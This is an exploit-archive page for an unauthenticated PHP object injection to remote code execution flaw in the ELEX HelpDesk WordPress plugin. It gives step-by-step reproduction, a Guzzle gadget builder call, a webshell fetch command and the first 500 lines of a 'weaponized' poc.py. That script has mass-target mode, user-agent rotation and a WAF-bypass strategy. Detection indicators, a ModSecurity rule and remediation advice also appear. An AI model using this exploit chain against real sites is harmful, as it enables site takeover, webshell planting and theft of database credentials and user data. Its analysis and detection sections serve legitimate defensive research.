PoC Archive PoC Archive
CVE-2026-119077 category: web CVSS 9.8 (CRITICAL)
Patched

ELEX HelpDesk WordPress Plugin — Unauthenticated PHP Object Injection to RCE (CVE-2026-119077)

Published: 2026-11-25 • Researcher: 0xfay (im0xfay) — PoC, analysis and lab; ELEX (plugin vendor)

Target software ELEX HelpDesk & Customer Support Ticketing System — WordPress plugin (elex-helpdesk-customer-support-ticket-system)
Affected versions All versions up to and including 3.3.9 (NVD); fixed in 3.4.0, released 2026-11-12, per upstream research. The ingested NVD record had empty product/version-range lists — see references.
Status Weaponized
Severity Critical · CVSS 9.8
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-13
Author / Researcher0xfay (im0xfay) — PoC, analysis and lab; ELEX (plugin vendor)
CVE / AdvisoryCVE-2026-119077
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS v3.x per NVD; the ingested record carries the score only, no vector — see references)
StatusWeaponized
TagsRCE, unauthenticated, WordPress, PHP-object-injection, CWE-502, deserialization, Guzzle, webshell, WAF-bypass, ModSecurity
RelatedN/A

Affected Target

FieldValue
Software / SystemELEX HelpDesk & Customer Support Ticketing System — WordPress plugin (elex-helpdesk-customer-support-ticket-system)
Versions AffectedAll versions up to and including 3.3.9 (NVD); fixed in 3.4.0, released 2026-11-12, per upstream research. The ingested NVD record had empty product/version-range lists — see references.
Language / PlatformPHP (WordPress plugin; bundles Guzzle 7 in its own vendor/ tree). Lab: wordpress:php8.1-apache, MySQL 8.0, Linux x86_64
Authentication RequiredNo
Network Access RequiredYes

Summary

The ELEX HelpDesk and Customer Support Ticketing System plugin for WordPress registers its ticket-creation AJAX action for unauthenticated visitors, and the only gate is a nonce that the plugin publishes in the page source of any page carrying the support shortcode. The ticket form parameter is parsed into an array and stored as ticket meta, then read back through an unserialize call that has no allowed-classes restriction, so an anonymous attacker can plant a serialized Guzzle cookie jar object whose destructor writes an attacker-chosen file. That file write lands a PHP block inside the web root, giving unauthenticated remote code execution as the web server user, and the upstream lab reproduced it three times. One anonymous GET to harvest the nonce plus one anonymous POST is enough, and the author also validated a ModSecurity CRS bypass for the same payload.

Vulnerability Details

Root Cause

eh_crm_new_ticket_post is registered for both wp_ajax_ and wp_ajax_nopriv_ (includes/class-crm-init-handler.php:51-52), so guests reach CRM_Ajax_Two::eh_crm_new_ticket_post(). The handler only checks a nonce, and that nonce is localized into support_object on any page rendering [wsdesk_support] (includes/class-crm-init-handler.php:266) — there is no authentication or session binding, so a single anonymous GET harvests it.

Inside the handler the form POST parameter is passed to parse_str(), the resulting values are stored as ticket meta, and the auto-email/read path calls eh_crm_get_ticketmeta() → unserialize() without an allowed_classes restriction (includes/class-crm-public-functions.php:875). The plugin bundles Guzzle 7, so a stock GuzzleHttp\Cookie\FileCookieJar gadget is available: __destruct() → save() → file_put_contents(). Guzzle wraps the body in a JSON array, but PHP still executes any <?php ?> block inside the written file, so the result is a working webshell.

Attack Vector

  1. Anonymous GET to any public page with the [wsdesk_support] shortcode, reading support_object.nonce.
  2. Anonymous POST to /wp-admin/admin-ajax.php with action=eh_crm_new_ticket_post, the harvested nonce, and a form body in which an allowlisted custom-field slug carries the URL-encoded serialized object.

Two quirks matter: WordPress slashes $_POST and parse_str() decodes a second time, so quotes must be sent pre-encoded as %22 and the whole payload encoded again; and the injection key must be a live custom-field slug, because 3.3.9’s allowlist unset()s the default keys. The ticket_label key named in the NVD description only works on 3.3.8, which has no allowlist.

Impact

Remote code execution as the web server user (www-data in the reference lab), via an attacker-controlled .php file in wp-content/uploads/. A compromised WordPress install exposes the database credentials in wp-config.php, all site content and user data, and any files readable by the web user; the same write primitive is a persistence path (mu-plugins, .user.ini) if uploads are not executable.

Environment / Lab Setup

Output
OS:          Linux x86_64 (Docker)
Target:      wordpress:php8.1-apache + plugin 3.3.9 (lab/plugins/vuln),
             MySQL 8.0; published on 127.0.0.1:8137
Optional:    owasp/modsecurity-crs:apache (CRS 4.30.0, paranoia 1, inbound
             anomaly threshold 5) in front of WordPress on 127.0.0.1:8187
Attacker:    Python 3 with requests, same host or LAN
Tools:       docker compose, curl, python3, wp-cli (installed by setup-lab.sh)

Setup Steps

Shell script
1
2
3
4
5
6
7
8
./lab/setup-plugins.sh                       # fetches 3.3.9 (vuln) + 3.4.0 (patched)
docker compose -f lab/docker-compose.yml up -d

docker cp lab/setup-lab.sh  wsdesk-wp:/setup-lab.sh
docker cp lab/setup-field.php wsdesk-wp:/setup-field.php
docker compose -f lab/docker-compose.yml exec wordpress bash /setup-lab.sh

docker compose -f lab/docker-compose.yml up -d waf

The patched build is used as a negative control by switching the compose volume from ./plugins/vuln to ./plugins/patched.

Proof of Concept

Step-by-Step Reproduction

  1. Harvest the nonce — the value is emitted as JSON on the support page:

    Shell script
    1
    2
    
    curl -s http://127.0.0.1:8137/ | grep -o '"nonce":"[a-f0-9]*"'
    # "nonce":"91c533e637"
  2. Check the build (one request, no custom field needed) — the 3.4.0 guard inspects every parsed form value before the allowlist, so a throwaway key with a serialized object distinguishes builds:

    Output
    1
    2
    
    POST /wp-admin/admin-ajax.php  action=eh_crm_new_ticket_post
    form=request_email=probe@example.com&request_title=T&request_description=d&zzzboguskey=O%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22...

    {"status":"error","message":"Invalid form data."} → PATCHED (≥ 3.4.0); {"status":"success",...} → vulnerable.

  3. Enumerate live form slugs — POST action=eh_crm_new_ticket_form with the nonce; the returned data.page lists the field names. Exactly one custom-field slug is the injection key (dept in the standard lab).

  4. Generate the gadget — the payload builder prints the serialized Guzzle chain:

    Shell script
    1
    
    python3 wsdesk_payload.py /var/www/html/wp-content/uploads/0xfay.php
  5. Send the exploit POST — action=eh_crm_new_ticket_post, the nonce, and form=...&dept=<urlencoded serialized payload>. poc.py performs the required pre-encoding and, on WAF-protected targets, switches to the S:-format / relative-path / superglobal-free variant.

  6. Fetch the shell:

    Shell script
    1
    
    curl -s 'http://127.0.0.1:8137/wp-content/uploads/0xfay.php?a=id'

    Or run the whole chain with python3 poc.py -u http://127.0.0.1:8137 --exploit.

Exploit Code

See poc.py (main tool: discovery, build oracle, field discovery, exploit stages, WAF strategy, mass mode) and wsdesk_payload.py (Guzzle FileCookieJar gadget generator, standard and S:-format variants). The lab lives in lab/ and the field notes in analysis/.

The gadget is built without PHPGGC, using only classes the plugin already autoloads:

Python
1
2
3
4
5
6
import sys
sys.path.insert(0, ".")
from wsdesk_payload import file_cookie_jar, DEFAULT_PHP

payload = file_cookie_jar("/var/www/html/wp-content/uploads/0xfay.php", DEFAULT_PHP)
print(payload.decode("latin1"))   # O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...}

The payload is placed in the ticket form under a live custom-field slug and POSTed to admin-ajax.php with action=eh_crm_new_ticket_post and the nonce.

Expected Output

Output
1
2
3
4
POST /wp-admin/admin-ajax.php   action=eh_crm_new_ticket_post   ->  200
GET  /wp-content/uploads/0xfay_XXXXXXXX.php?a=id
[{"Expires":1,"Discard":false,"Value":"uid=33(www-data) gid=33(www-data) groups=33(www-data)
"}]

Through the ModSecurity CRS front end the same result is returned with the WAF bypass strategy, and the raw written file contains <?php passthru(base64_decode('aWQ=')); ?> wrapped in the cookie JSON.

Detection & Indicators of Compromise

  • Unauthenticated POST /wp-admin/admin-ajax.php with action=eh_crm_new_ticket_post, especially with an oversized form value containing O:31:"GuzzleHttp\Cookie\FileCookieJar", %00 private-property markers, or PHP S:-format escapes (\00, \5c, \22).
  • GET requests to newly created .php files directly under wp-content/uploads/, wp-content/cache/, or wp-content/mu-plugins/ with a query string such as ?a=id.
  • New files in wp-content/uploads/ whose body is a JSON cookie array containing a <?php ... ?> block.
  • ModSecurity hits: CRS 920270 (raw NUL), 930120 (phrase var/www), 933130 (phrase $_GET), and 949110 (inbound anomaly threshold) on admin-ajax.php; a 403 followed by a different 200 often means the WAF bypass variant was used.
  • PHP fatal RuntimeException: Unable to save file or HTTP 500 from the AJAX endpoint (write attempted against a non-writable uploads directory).
  • Response {"status":"error","message":"Invalid form data."} indicates the patched build rejected the serialized input.

Example access-log signature:

Output
1
203.0.113.9 - - [13/Nov/2026:15:34:29 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 87 "-" "python-requests/2.31.0"

ModSecurity-style rule (example):

Output
1
2
SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" "id:900119077,phase:2,log,deny,status:403,chain,msg:'CVE-2026-119077 WSDesk PHP object injection'"
  SecRule ARGS_POST:form "@rx (O|S):[0-9]+:\"?GuzzleHttp" "t:none"

Remediation

ActionDetail
PatchUpgrade elex-helpdesk-customer-support-ticket-system to 3.4.0 or later (released 2026-11-12). The fix adds eh_crm_has_object_or_serialized_object() / eh_crm_safe_unserialize() in front of 26 sinks and rejects the payload — including the WAF-bypass variant — with Invalid form data.
WorkaroundDeactivate and remove the plugin if it is not required; removing public pages that carry [wsdesk_support] hides the nonce but does not close the unauthenticated AJAX endpoint. A ModSecurity CRS rule stops the documented plain payload only — the author validated a bypass — so treat WAF rules as defence in depth, not a fix.
Config HardeningBlock PHP execution in wp-content/uploads/ (and make it non-writable by the web user where possible), set DISALLOW_FILE_MODS/DISALLOW_FILE_EDIT, run the web user with least privilege, alert on new .php files under wp-content/, and keep WordPress core and all plugins current.

References

Notes

Auto-ingested from https://github.com/im0xfay/CVE-2026-119077 on 2026-11-25. Review verdict: genuine, self-contained exploit PoC (not a detector or scanner) — the repository contains the gadget builder, the unauthenticated POST chain, a Docker lab with a vulnerable and a patched build, and recorded evidence; status Weaponized. MIT licensed (Copyright (c) 2026 0xfay / im0xfay); the LICENSE file is included.

Limitations and caveats: exploitation requires at least one admin-defined custom field whose slug is in the live form — a clean 3.3.9 install with only the three default fields is not exploitable, and the ticket_label key named in the NVD description is reported by the author to work only on 3.3.8 (which lacks the allowlist). The in-request trigger needs the default auto-send-email setting; with it disabled, the object persists in ticket meta and fires on a later read (cron or agent ticket view), which the author validated separately. The WAF bypass was validated only against ModSecurity CRS 4.30.0 (paranoia 1, threshold 5); Imunify360/CloudLinux signatures, multisite, subdirectory installs and PHP 7.x were not tested. A live validation against a real host ended PATCHED (no RCE), and the target banned the scanner IP after roughly 15 serialized POSTs — prefer the single-request build oracle.

Archived files: 15 total, including poc.py, wsdesk_payload.py, lab/, analysis/ field notes and evidence, the full report and the upstream README. Not copied: .git, the plugin zips (downloaded by lab/setup-plugins.sh), DORKS.md and tools_verify_hits.py (FOFA targeting and host-ranking/scanning aids rather than exploit code), analysis/intel.md, analysis/self-attack.md and analysis/rce-final.txt. No exploit code was executed during ingestion. Use only against systems you own or have written authorization to test.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/im0xfay/CVE-2026-119077 (see README for attribution/license)
"""
poc.py — CVE-2026-119077 — <judul singkat>

Template Robust PoC (0xfay). Salin lalu isi `Target.detect()` dan `build_stages()`.

Pemakaian:
    python3 poc.py                     # menu interaktif (jalur utama operator)
    python3 poc.py -u https://t        # single scan
    python3 poc.py -u https://t --exploit
    python3 poc.py -l targets.txt --exploit --threads 20 --delay 0.3

Exit code: 0 ada outcome, 1 tidak rentan, 2 error operasional.

Tanpa batasan buatan: `--exploit` default ON saat dipilih dari menu mode exploit;
deteksi tetap aman (read-only) sampai stage exploit dijalankan.
"""

from __future__ import annotations

import argparse
import json
import os
import random
import re
import secrets
import string
import sys
import threading
import time
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass, field
from typing import Callable, Optional

try:
    import requests
    from requests.adapters import HTTPAdapter
    from urllib3.util.retry import Retry
except ImportError:
    sys.stderr.write("butuh: pip install requests\n")
    raise SystemExit(2)

urllib3 = __import__("urllib3")
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# make the sibling payload builder importable no matter the working directory
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))

# ---------------------------------------------------------------- konfigurasi

VERSION = "1.0"
UA_POOL = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15",
    "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0",
]
TIMEOUT = (6, 18)          # (connect, read) — tuple didukung requests
DISCOVERY_TIMEOUT = (4, 8)
RERUN_STABILITY = 3

STATES = (
    "REACHABLE", "FINGERPRINTED", "ENDPOINT_FOUND", "BLOCKED", "NOT_FOUND",
    "PATCHED", "INPUT_ACCEPTED", "TRIGGERED", "EXECUTED", "OUTCOME_REACHED",
    "ASSUMED", "ERROR",
)
TAG = {
    "OUTCOME_REACHED": "ROOT", "EXECUTED": "RCE", "TRIGGERED": "VULN",
    "INPUT_ACCEPTED": "INFO", "PATCHED": "PATCHED", "BLOCKED": "BLOCKED",
    "NOT_FOUND": "SKIP", "ASSUMED": "ASSUMED", "ERROR": "ERR",
    "FINGERPRINTED": "INFO", "ENDPOINT_FOUND": "INFO", "REACHABLE": "INFO",
}

# ---------------------------------------------------------------- transport


class Pacer:
    def __init__(self, delay: float = 0.0, max_delay: float = 8.0):
        self.delay = delay
        self.max_delay = max_delay
        self.lock = threading.Lock()

    def wait(self):
        if self.delay > 0:
            time.sleep(self.delay * random.uniform(0.6, 1.4))

    def ok(self):
        with self.lock:
            self.delay = max(0.0, self.delay * 0.9)

    def blocked(self):
        with self.lock:
            self.delay = min(self.max_delay, max(0.5, self.delay * 2 + 0.5))
            d = self.delay
        time.sleep(d)


class Transport:
    def __init__(self, base: str, proxies=None, verify=False, pacer: Optional[Pacer] = None):
        self.base = normalize_url(base)
        self.pacer = pacer or Pacer()
        self.s = self._session(proxies, verify)

    @staticmethod
    def _session(proxies, verify):
        s = requests.Session()
        s.verify = verify
        if proxies:
            s.proxies.update(proxies)
        retry = Retry(
            total=2, connect=2, read=2, status=2, backoff_factor=0.6,
            status_forcelist=(500, 502, 503, 504, 522, 524, 429),
            allowed_methods=frozenset(["GET", "POST", "HEAD", "PUT", "OPTIONS"]),
            raise_on_status=False, respect_retry_after_header=True,
        )
        ad = HTTPAdapter(max_retries=retry, pool_connections=64, pool_maxsize=64)
        s.mount("http://", ad)
        s.mount("https://", ad)
        s.headers.update({
            "User-Agent": random.choice(UA_POOL),
            "Accept": "text/html,application/json,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.9",
        })
        return s

    def url(self, path: str) -> str:
        if path.startswith(("http://", "https://")):
            return path
        return self.base + "/" + path.lstrip("/")

    def req(self, method: str, path: str, *, fast=False, retries=1, **kw):
        url = self.url(path)
        kw.setdefault("timeout", DISCOVERY_TIMEOUT if fast else TIMEOUT)
        kw.setdefault("allow_redirects", True)
        self.pacer.wait()
        last = None
        attempts = 0 if fast else retries
        for attempt in range(attempts + 1):
            try:
                r = self.s.request(method, url, **kw)
                r.real_url = url
                if r.status_code in (403, 406, 429, 503):
                    self.pacer.blocked()
                else:
                    self.pacer.ok()
                return r
            except (requests.Timeout, requests.ConnectionError) as e:
                last = e
                if fast:
                    break
                time.sleep(0.4 * (2 ** attempt))
        return None

    def get(self, path, **kw):
        return self.req("GET", path, **kw)

    def post(self, path, **kw):
        return self.req("POST", path, **kw)


def normalize_url(u: str) -> str:
    u = u.strip()
    if not u:
        raise ValueError("url kosong")
    if not u.startswith(("http://", "https://")):
        u = "https://" + u
    p = urllib.parse.urlsplit(u)
    return urllib.parse.urlunsplit((p.scheme, p.netloc, p.path.rstrip("/"), "", ""))


# ---------------------------------------------------------------- hasil


@dataclass
class StageResult:
    state: str
    evidence: dict = field(default_factory=dict)
    next_stage: Optional[str] = None

    def tag(self) -> str:
        return TAG.get(self.state, "INFO")


@dataclass
class TargetReport:
    target: str
    state: str = "REACHABLE"
    reason: str = ""
    evidence: dict = field(default_factory=dict)
    success: Optional[dict] = None


# ---------------------------------------------------------------- reporter


class Reporter:
    def __init__(self, out_dir: str, quiet=False, debug=False):
        try:
            os.makedirs(out_dir, exist_ok=True)
        except (FileExistsError, OSError):
            # a *file* may already occupy the path (stale --output target);
            # fall back to a sibling directory instead of crashing
            out_dir = out_dir.rstrip("/") + "_out"
            os.makedirs(out_dir, exist_ok=True)
        self.dir = out_dir
        self.quiet = quiet
        self.debug = debug
        self.lock = threading.Lock()
        self.counters = {k: 0 for k in
                         ("vuln", "rce", "root", "shell", "patched", "blocked",
                          "not_found", "assumed", "error", "total")}
        self.hits = []
        self.results_path = os.path.join(out_dir, "results.jsonl")
        self.success_path = os.path.join(out_dir, "success.txt")

    def jsonl(self, rec: dict):
        with self.lock:
            with open(self.results_path, "a", encoding="utf-8") as f:
                f.write(json.dumps(rec, ensure_ascii=False) + "\n")
                f.flush()
                os.fsync(f.fileno())

    def success(self, line: str):
        with self.lock:
            with open(self.success_path, "a", encoding="utf-8") as f:
                f.write(line + "\n")
                f.flush()
                os.fsync(f.fileno())

    def emit(self, tag: str, url: str, ctx: str = "", data=None):
        with self.lock:
            self.counters["total"] += 1
            key = {"VULN": "vuln", "RCE": "rce", "ROOT": "root", "SHELL": "shell",
                   "PATCHED": "patched", "BLOCKED": "blocked", "SKIP": "not_found",
                   "ASSUMED": "assumed", "ERR": "error"}.get(tag)
            if key:
                self.counters[key] += 1
            if not self.quiet:
                line = f"[{tag}] {url}" + (f" ({ctx})" if ctx else "")
                print(line, flush=True)
        self.jsonl({"target": url, "tag": tag, "state": ctx, "data": data})

    def card(self, rep: TargetReport):
        if self.quiet or not rep.success:
            return
        w = 74
        print("┌" + "─" * w + "┐", flush=True)
        print(f"│ ✔ {rep.target[: w - 4]:<{w - 2}} │", flush=True)
        for k, v in rep.success.items():
            print(f"│   {k:<12} {str(v)[: w - 16]:<{w - 16}} │", flush=True)
        print("└" + "─" * w + "┘", flush=True)

    def summary(self, elapsed: float):
        if self.quiet:
            return
        print("\n" + "=" * 60, flush=True)
        parts = " ".join(f"{k.upper()}:{v}" for k, v in self.counters.items() if v)
        print(f"[RINGKASAN] {parts}", flush=True)
        if self.counters["total"]:
            print(f"[RINGKASAN] waktu {elapsed:.1f}s "
                  f"({self.counters['total'] / max(elapsed, 0.001):.2f} t/s)", flush=True)
        print(f"hasil: {self.results_path}", flush=True)
        if os.path.exists(self.success_path):
            print(f"hit   : {self.success_path}", flush=True)
        print("=" * 60, flush=True)


# ---------------------------------------------------------------- target


class Target:
    """Satu target: transport + fingerprint + stage chain."""

    def __init__(self, url: str, opts: argparse.Namespace, reporter: Reporter,
                 pacer: Optional[Pacer] = None):
        self.url = normalize_url(url)
        self.opts = opts
        self.rep = reporter
        self.t = Transport(self.url, proxies=parse_proxy(opts.proxy),
                           verify=opts.verify_tls, pacer=pacer)
        self.fp: dict = {}
        self.ctx: dict = {}          # state antar-stage (nonce, endpoint, shell url...)
        self.chain = build_stages()

    # --- fingerprint: WordPress + ELEX HelpDesk (wsdesk) -------------------
    def detect(self) -> dict:
        fp = {"cms": None, "plugin": None, "version": None, "conf": 0, "signals": []}
        for probe in ("/", "/?p=1", "/readme.html"):
            r = self.t.get(probe, fast=True)
            if r is None:
                continue
            body = r.text[:400000]
            hdrs = {k.lower(): v for k, v in r.headers.items()}
            if "/wp-content/" in body or "wp-json" in str(hdrs.get("link", "")):
                fp["cms"] = "wordpress"
                fp["conf"] += 2
                fp["signals"].append("wp-content")
            m = re.search(r'content="WordPress ([\d.]+)', body)
            if m:
                fp["version"] = m.group(1)
                fp["conf"] += 1
                fp["signals"].append("generator")
            if "elex-helpdesk" in body or "wsdesk" in body.lower():
                fp["plugin"] = "elex-helpdesk"
                fp["conf"] += 2
                fp["signals"].append("wsdesk-ref")
            if fp["cms"]:
                break
        # plugin presence via its stable asset/readme paths
        for path in (
            "/wp-content/plugins/elex-helpdesk-customer-support-ticket-system/readme.txt",
            "/wp-content/plugins/elex-helpdesk-customer-support-ticket-system/assets/css/crm_support.css",
        ):
            r = self.t.get(path, fast=True)
            if r is not None and r.status_code == 200 and len(r.text) > 100:
                fp["plugin"] = "elex-helpdesk"
                fp["conf"] += 2
                fp["signals"].append("plugin-file")
                vm = re.search(r"Stable tag:\s*([\d.]+)", r.text)
                if vm and not fp.get("plugin_version"):
                    fp["plugin_version"] = vm.group(1)
                break
        return fp
    # --- shared helpers -----------------------------------------------------
    def _rebase(self, url: str) -> str:
        """Rebase a server-published absolute URL onto the target's own scheme/host.

        WordPress publishes `ajax_url` from its configured site URL, which is
        routinely a different scheme/host than the one being assessed (e.g. it
        says https:// behind a plain-HTTP proxy, or the real domain while we talk
        to an origin IP). Trusting it verbatim turns every POST into an SSLError
        against an HTTP port. Keep the PATH (subdirectory installs) but always use
        the scheme/host/port we actually reached the target on.
        """
        p = urllib.parse.urlsplit(url)
        return urllib.parse.urlunsplit(
            (self.t.base.split("://")[0], urllib.parse.urlsplit(self.t.base).netloc,
             p.path, p.query, ""))

    def wp_ajax(self) -> str:
        """Absolute admin-ajax.php URL (handles subdirectory installs)."""
        if "ajax_url" in self.ctx:
            return self._rebase(self.ctx["ajax_url"])
        guess = self.url + "/wp-admin/admin-ajax.php"
        probe = self.t.get("/wp-admin/admin-ajax.php", fast=True)
        if probe is not None and probe.status_code < 500:
            return guess
        # fall back to scraping it out of the front page JS
        r = self.t.get("/", fast=True)
        if r is not None:
            m = re.search(r'"(https?://[^"]*?/wp-admin/admin-ajax\.php)"', r.text)
            if m:
                return self._rebase(m.group(1))
        return guess
    def post_form(self, action: str, data: dict, fast=False, retries=2):
        """POST to admin-ajax.php with the given action merged in."""
        body = dict(data)
        body["action"] = action
        return self.t.post(self.wp_ajax(), data=body, fast=fast, retries=retries)


# ---------------------------------------------------------------- stages


class Stage:
    name = "base"

    def run(self, tgt: Target) -> StageResult:      # pragma: no cover - override
        raise NotImplementedError

class DiscoverStage(Stage):
    name = "discover"

    def run(self, tgt):
        r = tgt.t.get("/?probe=%s" % secrets.token_hex(3), fast=True)
        if r is None:
            return StageResult("ERROR", {"reason": "unreachable"})
        return StageResult("REACHABLE", {"status": r.status_code})


class FingerprintStage(Stage):
    name = "fingerprint"

    def run(self, tgt):
        fp = tgt.detect()
        tgt.fp = fp
        if fp["conf"] >= 2:
            return StageResult("FINGERPRINTED", fp)
        return StageResult("ASSUMED", {"reason": "weak fingerprint", "fingerprint": fp})

# nonce + support-page discovery -------------------------------------------

_AJAX_FORM_RE = re.compile(r'name=\\?"([a-zA-Z0-9_]+)')


class SupportPageStage(Stage):
    """Locate a page that emits wsdesk_nonce (any [wsdesk_support] shortcode page)."""
    name = "support_page"

    def run(self, tgt):
        # 1) crawl the front page + common slugs for support_object.nonce
        candidates = ["/", "/support", "/support/", "/help", "/helpdesk",
                      "/my-account/wsdesk_support/", "/?page_id=2", "/?page_id=4"]
        found = None
        blocked = 0
        for path in candidates:
            r = tgt.t.get(path, fast=True)
            if r is None:
                continue
            if r.status_code in (403, 406, 429, 503):
                blocked += 1
                continue
            m = re.search(r'"nonce"\s*:\s*"([a-f0-9]{8,12})"', r.text)
            if m:
                found = (path, m.group(1))
                am = re.search(r'"ajax_url"\s*:\s*"(https?:[^"]+)"', r.text)
                if am:
                    tgt.ctx["ajax_url"] = am.group(1).replace("\\/", "/")
                break
        # 2) if not found, sweep ?page_id for a while
        if not found:
            for pid in range(1, 26):
                r = tgt.t.get(f"/?page_id={pid}", fast=True)
                if r is None:
                    continue
                if r.status_code in (403, 406, 429, 503):
                    blocked += 1
                    continue
                m = re.search(r'"nonce"\s*:\s*"([a-f0-9]{8,12})"', r.text)
                if m:
                    found = (f"/?page_id={pid}", m.group(1))
                    break
        if not found and blocked:
            return StageResult("BLOCKED",
                               {"reason": f"{blocked} candidate pages answered 403/406/429/503",
                                "blocked": blocked})
        if not found:
            return StageResult("NOT_FOUND",
                               {"reason": "no page emits wsdesk_nonce"})
        tgt.ctx["support_path"], tgt.ctx["nonce"] = found
        return StageResult("ENDPOINT_FOUND",
                           {"support_path": found[0], "nonce": found[1]})


class BuildGuardStage(Stage):
    """Decide whether the target build still has the vulnerability at all.

    The 3.4.0 fix runs `eh_crm_has_object_or_serialized_object()` over EVERY parsed
    form value, BEFORE the custom-field allowlist. That makes build detection cheap
    and independent of whether the site has any custom field:

      * patched   -> `{"status":"error","message":"Invalid form data."}`
      * vulnerable-> `{"status":"success",...}`

    One request reveals the answer, which is far more honest than reporting
    "no field -> assumed" when the build is provably fixed.
    """
    name = "build_guard"

    _OBJ = ('O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:{s:7:"cookies";a:0:{}'
            's:10:"strictMode";N;s:8:"filename";s:5:"/tmp/x";s:19:"storeSessionCookies";b:1;}')

    def run(self, tgt):
        nonce = tgt.ctx.get("nonce")
        if not nonce:
            return StageResult("ASSUMED", {"reason": "no nonce for build check"})
        form = ("request_email=probe@example.com&request_title=T&request_description=d"
                "&zzzboguskey=" + urllib.parse.quote(self._OBJ, safe=""))
        r = tgt.t.post(tgt.wp_ajax(),
                       data={"action": "eh_crm_new_ticket_post", "nonce": nonce, "form": form},
                       retries=1)
        if r is None:
            return StageResult("ASSUMED", {"reason": "build check unreachable"})
        if "Invalid form data" in r.text:
            tgt.ctx["patched"] = True
            return StageResult("PATCHED",
                               {"reason": "object guard active (plugin >= 3.4.0)",
                                "evidence": r.text[:120]})
        if '"status":"success"' in r.text or '"status": "success"' in r.text:
            tgt.ctx["patched"] = False
            return StageResult("INPUT_ACCEPTED",
                               {"reason": "guard absent (plugin <= 3.3.9)", "evidence": r.text[:120]})
        return StageResult("ASSUMED", {"reason": "build check inconclusive",
                                       "evidence": r.text[:120]})


class FieldDiscoveryStage(Stage):
    """Enumerate live form field slugs served by eh_crm_new_ticket_form."""
    name = "field_discovery"

    def run(self, tgt):
        nonce = tgt.ctx.get("nonce")
        if not nonce:
            return StageResult("ASSUMED", {"reason": "no nonce"})
        ajax = tgt.wp_ajax()
        r = tgt.t.post(ajax, data={"action": "eh_crm_new_ticket_form", "nonce": nonce}, fast=True)
        if r is None or r.status_code != 200 or "success" not in r.text:
            return StageResult("ASSUMED", {"reason": "form endpoint silent"})
        try:
Showing 500 of 894 lines View full file on GitHub →